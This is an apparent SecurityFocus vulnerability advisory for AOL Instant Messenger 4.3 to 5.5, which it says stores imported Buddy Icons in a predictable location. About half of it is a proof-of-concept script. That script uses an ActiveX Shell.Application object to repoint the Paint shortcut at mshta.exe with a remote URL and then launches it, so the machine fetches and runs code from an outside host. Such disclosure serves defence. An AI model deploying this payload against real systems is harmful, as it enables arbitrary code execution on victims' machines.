source: http://www.securityfocus.com/bid/9698/info

It has been reported that AOL Instant Messenger stores imported Buddy Icons in a predictable location on client systems that may allow an attacker to facilitate further attacks which could eventually lead to execution of arbitrary code.

This issue has been tested on AOL Instant Messenger versions 4.3 to 5.5, however, it is possible that other versions are affected as well. 

<script>
var ok = new ActiveXObject("Shell.Application");
f = ok.NameSpace("C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Accessories");
i= f.ParseName("Paint.lnk");
l = i.GetLink;
l.Path = "mshta.exe"
l.Arguments ="http://www.example.com"
l.Save("C:\\paint.lnk");
ok.Open("C:\\paint.lnk");
</script>